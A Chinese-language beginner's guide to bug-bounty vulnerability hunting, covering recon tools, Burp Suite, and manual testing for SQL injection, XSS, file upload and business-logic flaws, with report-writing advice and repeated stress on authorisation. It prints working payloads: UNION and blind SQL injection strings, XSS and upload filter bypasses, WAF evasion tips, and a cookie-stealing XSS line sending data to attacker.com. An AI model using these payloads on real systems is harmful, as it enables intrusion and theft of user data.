1. 项目概述:从“围观”到“上手”的蜕变之路
“挖洞”这个词,在网络安全圈里,听起来既神秘又带点技术范儿。很多刚入门的朋友,看着那些在SRC(安全应急响应中心)平台上提交漏洞、获得致谢甚至奖金的大神,心里痒痒的,但一打开Burp Suite或者看到满屏的流量包,又觉得无从下手。从“网络安全爱好者”到能独立发现并验证一个有效漏洞的“挖洞实践者”,中间隔着的不是天赋,而是一套清晰、可执行的方法论和持续练习的路径。这篇指南,就是为你拆解这条路径,把“全流程实战”这个听起来很宏大的目标,变成一个个你可以跟着操作、踩坑、再爬起来的具象步骤。我会结合自己这些年从懵懂小白到能稳定产出漏洞的亲身经历,把那些教程里不会写的细节、容易翻车的点,以及真正提升效率的工具链用法,毫无保留地分享出来。无论你是计算机专业的学生,还是对安全感兴趣的转行者,只要你有基本的网络和编程概念,就能沿着这条路线,开启你的实战挖洞之旅。
2. 核心理念与学习路线图构建
2.1 重新理解“漏洞挖掘”:它不是猜谜,是系统化测试
新手最容易陷入的误区,是把漏洞挖掘想象成一种“灵光一现”的玄学,或者漫无目的地到处点击、乱试参数。实际上,高效的漏洞挖掘更像是一个“系统化的测试工程”。你的目标不是创造漏洞,而是通过一套方法,去发现开发者由于疏忽、逻辑不严谨或对安全机制理解不足而留下的“缺陷”。这意味着你需要同时具备“攻击者”的思维和“测试者”的严谨。
攻击者思维要求你思考:“如果我要绕过这个限制,我能从哪些角度入手?”“这个功能在设计上是否存在信任边界不清的问题?”测试者严谨则要求你记录每一个测试用例、每一次请求与响应,并能清晰地复现问题。将两者结合,就是:基于对应用系统架构和业务逻辑的理解,构造非预期的输入或操作序列,验证系统是否会产生非预期的结果(如数据泄露、权限提升、命令执行等)。
2.2 分阶段学习路线图:从筑基到专精
一个可持续的学习路线应该像打游戏升级一样,有明确的新手村、主线任务和副本。我将其分为四个阶段,你可以评估自己当前所处的位置。
第一阶段:安全基础与工具熟悉(1-2个月)这个阶段的目标是“能看懂、会操作”。你需要掌握:
- 网络基础:深刻理解HTTP/HTTPS协议,包括请求方法、状态码、Header、Cookie、Session。不必死记硬背,用Burp Suite抓几个登录、浏览的包,对照着看。
- Web前端基础:了解HTML、JavaScript(特别是Ajax)如何与后端交互。知道参数通常通过URL、表单Body、JSON或XML传递。
- 核心工具入门:
- Burp Suite Community:这是你的主武器。花一周时间,搞懂Proxy(代理拦截)、Repeater(重放测试)、Intruder(模糊测试)、Scanner(基础扫描)这几个核心模块是干什么的,怎么用。先别急着买Professional版。
- 浏览器开发者工具(F12):这是你的侦察兵。学会用Network标签查看所有请求,用Console执行简单JS,用Sources查看前端代码。
- 抓包工具:除了Burp,熟悉一下
Fiddler或Charles,理解其抓取移动端APP流量的原理。
- 漏洞原理认知:学习OWASP Top 10中每一项的基本原理、攻击载荷(Payload)长什么样、会造成什么影响。例如,SQL注入的原理就是“用户输入被拼接进SQL语句并执行”,一个简单的Payload是
' OR '1'='1。
注意:这个阶段切忌贪多嚼不烂。不要同时学五六种工具,也不要深究复杂的漏洞利用链。目标是用Burp成功拦截并修改一次登录请求,就算成功。
第二阶段:漏洞环境与手动复现(2-3个月)懂了原理,就要在安全的环境里动手。这个阶段目标是“形成手感”。
- 搭建靶场:在本地虚拟机(如VMware或VirtualBox)里安装
DVWA、bWAPP或WebGoat。这些是故意留有漏洞的Web应用,供你练习。 - 手动复现每一类漏洞:在靶场中,针对每一个漏洞类型(如SQL注入、XSS、文件上传、命令注入),完成“发现-利用-修复”的完整闭环。例如,在DVWA的SQL注入关卡,不要直接用工具扫,而是手动:
- 输入单引号
‘,看是否报错。 - 根据报错信息,判断数据库类型(如MySQL)。
- 使用
union select语句,一步步猜解字段数、数据库名、表名、列名,最终拖出数据。
- 输入单引号
- 写笔记:记录每一步的Payload、服务器的反应、你的思考过程。这个笔记将成为你未来的“武器库”。
第三阶段:SRC实战与流程规范(持续进行)这是从实验室走向真实战场的一步。目标不是马上挖高危漏洞,而是“走通流程,积累经验”。
- 选择入门友好的SRC平台:例如教育行业的EDUSRC、一些业务逻辑相对清晰的互联网公司SRC。避开业务极其复杂、安全水位很高的大型厂商初期。
- 阅读漏洞报告:在SRC平台上多看别人已公开的漏洞报告,学习他们的描述方式、复现步骤、漏洞证明(PoC)的截图或视频。
- 测试范围与授权:绝对不要测试SRC规定范围之外的系统。只测试
*.target.com这种明确在范围内的域名。未经授权的测试是违法的。 - 提交你的第一份报告:哪怕只是一个低危的信息泄露(如JS文件泄露API密钥、目录遍历列出备份文件),也要严格按照平台格式提交。体验从发现、验证到沟通的全过程。
第四阶段:深度挖掘与自动化辅助(长期进阶)当你能稳定发现中低危漏洞后,可以追求更高阶的目标。
- 逻辑漏洞深挖:这是体现技术深度的领域。研究越权(水平/垂直)、业务流程绕过(如无限抽奖、低价下单)、竞争条件等。
- 工具链深化:
- Burp Suite Professional:学习使用
Comparer对比响应差异,用Sequencer分析会话令牌随机性,用Extender安装插件(如Authz、Autorize用于越权测试)。 - 自动化脚本:学习用Python编写简单的爬虫(如
Scrapy)收集目标子域名、目录。编写脚本对批量目标进行特定漏洞的检测(如用requests库检测默认口令)。 - 子域名枚举:掌握
subfinder、amass、OneForAll等工具的使用。
- Burp Suite Professional:学习使用
- 源码审计:如果目标开源,尝试进行白盒审计,这能极大提升你对漏洞根因的理解。
3. 核心工具链详解与实战配置
工欲善其事,必先利其器。一套顺手、高效的工具链能让你事半功倍。这里我以一次完整的Web应用测试为例,串联起核心工具的使用。
3.1 信息收集:绘制你的攻击地图
在发起任何测试请求前,你必须尽可能了解目标。信息收集的广度直接决定了攻击面的宽度。
3.1.1 子域名发现子域名常对应着不同的业务系统(如admin.target.com,api.target.com,test.target.com),是发现薄弱入口的关键。
- 工具:
subfinder、amass、OneForAll。 - 实战命令示例:
# 使用subfinder进行基础发现 subfinder -d target.com -silent -o subdomains.txt # 使用OneForAll进行综合收集(集成多种数据源和爆破) python3 oneforall.py --target target.com run - 技巧:收集到的子域名需要验证其是否存活。常用
httpx工具快速探测:
这条命令会输出存活域名的状态码、页面标题和可能的技术栈(如PHP、Nginx)。cat subdomains.txt | httpx -title -status-code -tech-detect -o alive_subdomains.txt
3.1.2 目录与文件扫描寻找隐藏的管理后台、备份文件、配置文件、接口文档等。
- 工具:
dirsearch、ffuf、gobuster。 - 实战命令示例:
# 使用dirsearch进行目录爆破 python3 dirsearch.py -u https://target.com -e php,asp,js,bak,txt,zip -w /path/to/dictionary.txt # 使用ffuf,速度更快,过滤更灵活 ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt -mc 200,403 -fs 0 - 注意事项:
- 字典选择:使用
SecLists项目中的字典(如Discovery/Web-Content目录下的)。大字典虽全但慢,可先用小字典快速扫描。 - 速率控制:添加
-t(线程数)和-delay(延迟)参数,避免对目标造成压力或触发WAF封禁。 - 结果过滤:善用
-mc(匹配状态码)、-fs(过滤响应大小)来剔除大量无意义的404响应。
- 字典选择:使用
3.1.3 端口与服务探测了解目标服务器开放了哪些非Web服务(如SSH, Redis, MongoDB),这些服务可能配置不当。
- 工具:
nmap。 - 实战命令示例:
# 快速扫描常见1000个端口 nmap -sS -T4 target.com # 全面扫描,并尝试识别服务版本 nmap -sV -sC -p- -T4 target.com -oA full_scan - 心得:对于云服务商,许多非Web端口可能被安全组屏蔽,扫描结果可能不准确。重点还是放在80/443等Web端口上。
3.2 漏洞探测:Burp Suite为核心的交互式测试
信息收集后,你将获得一批存活的URL。接下来就是用Burp Suite进行深度交互测试。
3.2.1 浏览器与Burp的代理配置这是第一步,但新手常在这里出错。
- 启动Burp,在
Proxy->Options中确保代理监听在127.0.0.1:8080(默认)。 - 在浏览器(以Chrome为例)中安装
SwitchyOmega插件,或直接设置系统/浏览器代理为127.0.0.1:8080。 - 访问
http://burp,下载Burp的CA证书,并导入到浏览器的受信任根证书颁发机构中。这是关键!否则无法拦截HTTPS流量。 - 打开
Proxy->Intercept,确保Intercept is on,然后访问一个HTTP网站(如http://testphp.vulnweb.com),检查Burp是否能截获请求。
3.2.2 爬虫与站点地图构建让Burp帮你遍历整个应用。
- 配置好代理后,关闭拦截(
Intercept is off),正常手动浏览目标网站的各个功能点:登录、注册、搜索、查看详情、个人中心等。 - 所有流量会自动记录在
Target->Site map中。右键目标域名,选择Add to scope(加入范围),这样后续流量会自动标记。 - 使用
Spider(爬虫)功能,让它自动爬取链接。但要注意,对于有复杂交互(如大量Ajax)的现代Web应用,爬虫效果有限,手动浏览更可靠。
3.2.3 主动与被动扫描
- 被动扫描(Passive Scan):Burp会分析所有经过代理的请求和响应,自动标记一些潜在的低悬果实问题,如明文密码传输、Cookie缺少安全标志等。这个功能默认开启,几乎无风险。
- 主动扫描(Active Scan):Burp会向目标发送大量构造的测试Payload,主动探测漏洞。使用需谨慎!
- 风险:会产生大量测试流量,可能触发WAF,甚至对业务数据造成污染(如测试SQL注入时向数据库插入测试数据)。
- 建议:仅在测试自己搭建的靶场,或获得明确书面授权的情况下,对非生产环境使用。在SRC测试中,绝不推荐使用主动扫描功能,这被视为不专业且具有破坏性的行为。
3.2.4 Repeater:你的手动测试工作台这是最常用的模块。当你发现一个有趣的请求(如一个包含用户ID的API请求),可以右键发送到Repeater。
- 用途:
- 修改参数:手动修改ID、Token等参数,测试越权。
- 注入测试:在参数中逐步添加SQL注入、命令注入的Payload,观察响应变化。
- 模糊测试:对参数值进行系统性的篡改,如替换为数组
[]、超长字符串、特殊字符等。
- 技巧:结合
Logger++(Burp插件)记录所有重放测试的历史,方便回溯。
3.2.5 Intruder:自动化参数爆破当你需要对一个参数进行批量Payload测试时(如爆破目录、用户名、验证码),就用它。
- 将请求发送到
Intruder。 - 在
Positions标签,清除所有预设标记,然后手动选中你想爆破的参数值,点击Add $。 - 在
Payloads标签,选择Payload类型(如简单列表、数字、字典文件)。 - 在
Options标签,可以设置线程、请求间隔。 - 开始攻击,根据响应长度、状态码、内容来筛选有效结果。
3.3 辅助与专项工具
- 浏览器插件:
Hack-Tools:集合了多种Payload、编码解码等功能。Wappalyzer:快速识别网站技术栈。EditThisCookie:方便地管理和编辑Cookie。
- 漏洞验证与利用:
SQLmap:自动化SQL注入检测与利用工具。使用守则:务必使用--batch(批处理)、--level和--risk参数控制攻击强度,并使用--proxy指向Burp以便观察流量。在未授权测试中,仅用于验证漏洞存在性(如--dbs获取数据库名),切勿拖取全部数据。XSS:手动构造Payload更灵活,也可以使用BeEF框架进行高级利用。
- 协作与记录:使用
Obsidian、Notion或Joplin等笔记软件,为每个目标建立独立的笔记页,记录信息收集结果、测试用例、漏洞点、请求响应截图。良好的记录是撰写高质量漏洞报告的基础。
4. 核心漏洞类型实战挖掘流程
掌握了工具,我们进入最核心的部分:如何针对不同类型的漏洞,进行系统化的挖掘。这里以四种常见漏洞为例,拆解实战思路。
4.1 SQL注入漏洞挖掘:从报错到盲注
4.1.1 发现阶段
- 寻找注入点:所有用户可控的输入点都是怀疑对象。包括:
- URL参数(
/user?id=1) - 搜索框(
keyword=xxx) - 登录表单(
username,password) - HTTP头部(如
X-Forwarded-For,在某些应用中可能被记录到数据库)。
- URL参数(
- 初步探测:在每个点尝试插入“干扰符”。
- 数字型参数:
id=1 and 1=1,id=1 and 1=2。观察页面内容是否不同。 - 字符型参数:
search=',search=''(两个单引号)。观察是否出现数据库错误信息(这是最明显的迹象)。 - 通用Payload:
',",),',",'),")。
- 数字型参数:
4.1.2 利用与信息获取如果发现报错,恭喜你,这是“报错注入”,最容易利用。
- 判断数据库类型:从报错信息中通常可以看出(如“MySQL”, “PostgreSQL”, “SQL Server”)。
- 使用联合查询(UNION):
- 第一步:确定查询列数。使用
order by或union select递增数字直到页面正常显示。' order by 5-- - ' union select 1,2,3,4,5-- - - 第二步:在页面显示的数字位置上,替换为你想获取的信息函数。
这能一次性获取当前数据库名、用户、版本。' union select 1, database(), user(), version(), 5-- -
- 第一步:确定查询列数。使用
- 获取表名和列名:不同数据库语法不同。以MySQL为例:
' union select 1, group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()-- - ' union select 1, group_concat(column_name),3,4,5 from information_schema.columns where table_name='users'-- - - 拖取数据:
' union select 1, username, password, email,5 from users-- -
4.1.3 盲注:当没有错误回显时如果应用屏蔽了错误信息,页面无论输入什么,看起来都“正常”,但内容会根据SQL语句真假有所不同,这就是布尔盲注或时间盲注。
- 布尔盲注:通过页面内容(如“用户存在”/“用户不存在”)的真假来判断。
' and substring(database(),1,1)='a'-- - // 判断数据库名第一个字母是否为a - 时间盲注:通过页面响应时间来判断。
' and if(substring(database(),1,1)='a', sleep(5), 0)-- - // 如果第一个字母是a,则延迟5秒 - 实战心得:盲注手动测试极其繁琐,强烈建议使用SQLmap进行自动化验证。将可疑的请求保存为
.txt文件,用SQLmap加载:sqlmap -r request.txt --batch --level=3 --risk=1 --dbs
4.2 跨站脚本漏洞挖掘:不止于弹窗
XSS的核心是“用户输入被当作代码执行”。测试思路是:在哪里输入,在哪里输出。
4.2.1 反射型XSSPayload通过一次请求,立刻在响应中执行。
- 测试点:搜索框、URL参数、表单等。
- 基础Payload:
<script>alert(document.domain)</script>。如果弹窗,证明存在。 - 绕过技巧:如果被过滤,尝试:
- 大小写:
<ScRiPt>alert(1)</ScRiPt> - 事件处理器:
" onmouseover="alert(1) img标签:<img src=x onerror=alert(1)>svg标签:<svg onload=alert(1)>- 编码:
<script>alert(1)</script>(HTML实体编码)
- 大小写:
4.2.2 存储型XSSPayload被保存到服务器(如数据库),在其他用户访问时执行。危害更大。
- 测试点:留言板、评论、昵称、头像描述、客服聊天框等所有能持久化存储用户输入的地方。
- 测试方法:输入Payload后,查看自己的输入是否被原样显示。然后换一个浏览器或隐身窗口(不同会话)访问该页面,看是否会触发。
- 高级利用:不仅仅是弹窗。可以构造Payload窃取其他用户的Cookie:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>重要:在SRC测试中,绝对不要使用真实窃取Cookie的Payload,这涉及非法获取他人数据。使用无害的
alert(document.domain)或alert(1)证明漏洞即可。
4.2.3 DOM型XSS漏洞发生在客户端JavaScript代码中,不经过服务器。
- 发现方法:在浏览器F12的Sources中搜索
location.hash,document.URL,document.referrer,window.name,eval(),innerHTML,document.write()等“危险”的接收源(Source)和“危险”的执行点(Sink)。 - 测试:观察URL中
#号后面的部分(hash)是否被页面JS读取并动态写入HTML。尝试构造Payload:#<img src=x onerror=alert(1)>。
4.3 文件上传漏洞挖掘:绕过前端与后端防御
目标是上传一个可执行的脚本文件(如.php,.jsp,.asp),并能够访问它。
4.3.1 绕过前端校验最常见的是JavaScript检查文件扩展名。
- 方法:直接使用Burp拦截上传请求,将文件扩展名(如
shell.php)修改为允许的(如shell.jpg),同时在Content-Disposition和Content-Type字段也做相应修改。或者,直接删除前端校验的JS代码。
4.3.2 绕过黑名单服务器端有一个不允许上传的扩展名列表(黑名单)。
- 尝试扩展名:
- 大小写:
shell.PhP,shell.pHp - 特殊后缀:
shell.php5,shell.phtml,shell.phar(PHP环境) - 双扩展名:
shell.jpg.php(可能被解析为最后一个扩展名) - 加点加空格:
shell.php.,shell.php(Windows系统可能忽略末尾点和空格) .htaccess攻击(Apache):如果允许上传.htaccess,可以编写规则使.jpg文件被当作PHP解析。
- 大小写:
- 实战步骤:
- 上传一个正常图片,确认上传功能可用。
- 使用Burp的
Intruder,对文件扩展名参数进行模糊测试,Payload集包含上述各种变形。 - 根据响应(如文件路径、错误信息)判断是否上传成功。
4.3.3 绕过内容类型(MIME Type)检查服务器检查Content-Type头(如image/jpeg)。
- 方法:Burp拦截,将
Content-Type改为image/jpeg或application/octet-stream。
4.3.4 绕过文件内容检查服务器会检测文件内容是否为真实的图片(如图片头GIF89a)。
- 方法:制作图片马。在Linux下:
cat normal.jpg shell.php > webshell.jpg.php。或者,在图片的EXIF信息中插入Payload。
4.3.5 路径与解析漏洞
- 路径穿越:在上传文件名中注入
../,尝试将文件上传到非预期目录。filename="../../../var/www/html/shell.php" - 解析漏洞:特定服务器版本与配置的漏洞,如IIS 6.0的
/shell.asp;.jpg会被解析为ASP文件。
4.4 业务逻辑漏洞挖掘:最体现思考深度
这类漏洞没有固定的Payload,全靠对业务的理解和“找茬”的思维。
4.4.1 越权访问
- 水平越权:访问同级别其他用户的资源。例如,修改URL中的用户ID(
/api/user/123/profile->/api/user/456/profile),看是否能访问他人信息。 - 垂直越权:普通用户执行管理员功能。例如,普通用户能否直接访问
/admin/deleteUser接口,或在前端隐藏的管理功能元素上触发操作。 - 测试方法:准备两个账号(A普通用户,B管理员或另一普通用户)。用A的Token去请求B的资源或管理接口。Burp的
Authz、Autorize插件可以自动化部分测试。
4.4.2 业务流程绕过
- 顺序绕过:跳过必须的步骤。例如,支付流程为:1.下单 -> 2.支付 -> 3.确认。尝试直接从步骤1跳到步骤3,或重复请求步骤2。
- 参数篡改:
- 商品价格:拦截支付请求,修改
total_amount、price等字段为负数或极小数。 - 数量限制:将
quantity参数改为一个极大值,看是否会导致整数溢出或逻辑错误。 - 优惠券/积分:修改
coupon_id或points参数,尝试使用他人的或未生效的优惠券。
- 商品价格:拦截支付请求,修改
- 竞争条件:在极短时间内发起多个并发请求,以绕过限制。例如,“限量100件”的商品,用脚本同时发起101个购买请求。使用Burp的
Turbo Intruder插件可以方便地发起高并发测试。
4.4.3 验证机制缺陷
- 验证码:
- 前端校验:验证码在客户端JS校验,直接绕过。
- 可重复使用:同一个验证码能使用多次。
- 逻辑问题:验证码与手机号/邮箱不绑定,或验证码过于简单(如4位数字)可爆破。
- 短信/邮箱轰炸:请求发送验证码的接口无频率限制、无图形验证码前置,导致可被脚本无限调用,骚扰用户。
5. 从发现到提交:SRC漏洞报告撰写全流程
挖到漏洞只是成功了一半,一份清晰、专业、可复现的漏洞报告是获得认可和奖励的关键。
5.1 漏洞验证与证据固定
在动手写报告前,确保你的漏洞是真实、可稳定复现的。
- 清除干扰:关闭浏览器插件,使用无痕模式,确保测试环境干净。
- 完整复现:从第一步开始(如打开首页),到触发漏洞的每一步,都截图或录屏。最好能在一个全新的浏览器会话中完成。
- 证明影响:
- 信息泄露:截图显示泄露的数据。
- XSS:弹窗显示
document.domain或alert(1),证明执行环境是目标域名。 - SQL注入:使用
union select查询出系统信息(如version(),user()),切勿拖取业务数据。 - 越权:对比两个账号访问同一资源的结果截图。
- 记录所有细节:URL、请求方法、所有请求头、请求体、响应内容。Burp的
Copy as curl command功能非常有用。
5.2 报告撰写核心要素
一份优秀的报告通常包括以下几个部分:
- 漏洞标题:简明扼要。如“【目标域名】某处SQL注入漏洞导致数据库信息泄露”。
- 漏洞等级:参考平台定级标准自评(高危、中危、低危、信息)。不确定时可先标中危。
- 漏洞类型:SQL注入、存储型XSS等。
- 影响范围:具体的URL或功能模块。
- 漏洞描述:用文字清晰说明漏洞点在哪里,攻击者如何利用。
- 复现步骤:这是核心。分步骤、按顺序列出,像食谱一样让审核人员能一步步跟着做出来。
1. 访问 https://target.com/login 2. 使用账号A(test@email.com / password)登录。 3. 进入“我的订单”页面,URL为 https://target.com/user/orders?uid=1001。 4. 将URL中的参数`uid`的值1001修改为1002,并访问。 5. 页面成功显示用户ID为1002的订单信息,造成水平越权访问。 - 请求与响应:附上关键的Burp请求和响应原始数据(可放在代码块中)。对敏感信息(如真实Token、手机号)进行打码处理。
- 漏洞证明:将复现步骤的截图或录屏作为附件上传。截图应包含浏览器地址栏(显示URL)和关键的页面内容。
- 修复建议:给出建设性的修复方案。例如,对于SQL注入,建议“使用参数化查询(Prepared Statements)”;对于越权,建议“在服务端对每次资源访问进行所属权校验”。
5.3 与审核人员的沟通技巧
- 态度专业:使用礼貌、中性的语言。漏洞报告是技术沟通,不是指责。
- 响应及时:审核人员可能会要求补充信息或澄清细节,尽快回复。
- 接受结果:如果漏洞被判定为“重复”、“无效”或“低风险”,保持平常心。分析原因,积累经验。即使是“低风险”,也证明了你的测试能力。
6. 常见问题、排查技巧与心态建设
6.1 实战中高频问题排查
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
| Burp抓不到HTTPS包 | 浏览器未信任Burp的CA证书 | 1. 确认已从http://burp下载并安装证书。2. 在浏览器证书设置中,确保证书被导入到“受信任的根证书颁发机构”。 3. 重启浏览器和Burp。 |
| 请求被WAF拦截 | 触发了Web应用防火墙的规则 | 1.降低攻击特征:使用更温和的Payload,避免<script>,union select等明显特征。尝试编码、分割关键字。2.调整请求头:添加或修改 X-Forwarded-For,User-Agent为常见浏览器值。3.减慢速度:在Intruder中增加请求延迟。 4.尝试绕WAF技巧:如使用 /*!*/注释绕过MySQL WAF。 |
| 扫描器误报 | 工具将正常行为误判为漏洞 | 手动验证:这是唯一标准。用Repeater手动发送工具报告的“漏洞”Payload,仔细分析响应。真正的漏洞通常会导致响应内容、状态码或响应时间发生有逻辑的变化。 |
| 漏洞无法稳定复现 | 存在条件竞争、缓存或会话状态依赖 | 1.记录完整上下文:包括登录后的Cookie、Token、前序请求。 2.清除缓存:测试前清除浏览器和服务器端缓存(如果可能)。 3.检查时间戳/随机数:有些请求参数(如 nonce,csrf_token)是一次性的。需要从上一个响应中提取。 |
| 找不到注入点 | 输入被严格过滤或使用了安全框架 | 1.扩大测试面:不要只测输入框,关注JSON参数、HTTP头部、文件名等。 2.尝试二阶注入:输入可能先被存储,后在另一个功能点触发。 3.关注错误信息:即使页面不显示,错误也可能存在于响应头的 X-Debug-Info或注释中。 |
6.2 长期挖洞的心态与习惯
- 保持学习:安全技术日新月异。关注安全社区(如Seebug、先知、安全客)、博客、Twitter上的安全研究员,了解新漏洞、新技巧。
- 培养耐心:挖洞常常是“山重水复疑无路”。可能测试一整天一无所获。把每次测试都当作学习过程,即使没找到漏洞,你也更熟悉了这个目标。
- 注重细节:成功往往藏在细微之处。一个不起眼的参数,响应里多了一个换行符,JS文件里一个注释,都可能成为突破口。
- 建立知识体系:用笔记软件整理你的“武器库”:Payload集合、绕过技巧、特定系统的默认配置、常见错误信息。定期回顾。
- 法律与道德底线:始终在授权范围内测试。不破坏、不窃取、不泄露数据。你的目标是帮助厂商提升安全,而非炫耀技术或牟取非法利益。
这条路没有捷径,它需要你像侦探一样思考,像工匠一样耐心,像运动员一样持续练习。从搭建第一个靶场,到提交第一份有效的漏洞报告,每一步都是实实在在的成长。当你收到第一封漏洞确认邮件时,那种通过自己钻研解决问题带来的成就感,是无可替代的。现在,打开你的Burp Suite,选一个入门级的SRC平台,从信息收集开始,迈出你的第一步吧。